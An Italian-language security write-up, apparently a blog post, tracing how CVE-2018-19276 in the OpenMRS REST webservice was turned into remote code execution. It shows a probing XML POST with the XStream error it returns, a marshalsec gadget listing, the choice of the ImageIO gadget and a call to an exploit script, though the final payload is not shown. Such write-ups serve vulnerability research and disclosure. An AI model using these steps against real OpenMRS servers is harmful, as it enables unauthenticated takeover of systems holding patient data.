
CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE
Da https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
La deserializzazione non sicura di oggetti consente l'esecuzione arbitraria di codice senza bisogno di accedere. Le restrizioni IP sul modulo Webservices non impediscono questo attacco.

Trovato da Nicolas Serra di Security Associate presso Bishop Fox.
Controlliamo come funzionano i servizi REST di OpenMRS usando la documentazione ufficiale:
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
Controlliamo la correzione:
Possiamo trovare queste informazioni:
https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473
Fondamentalmente filtrano il Content-type della richiesta POST quando è XML, quindi forse XXE o una deserializzazione non sicura 👍
Controlliamo di nuovo la documentazione:

Bene, questo è interessante, cosa succede se inviamo XML al webservice REST?
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
L'errore fornisce qualcosa di molto interessante: xstream.XStreamMarshaller
Proviamo a usare il fantastico strumento marshalsec per attivare un RCE usando la deserializzazione Java.
Controlliamo i gadget disponibili:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
A questo punto, ho semplicemente usato la ricerca su github su ogni gadget di XStream per trovare un'occorrenza. Solo il gadget ImageIO sembra promettente:

Proviamolo:

Ecco fatto!
python CVE-2018-19276.py
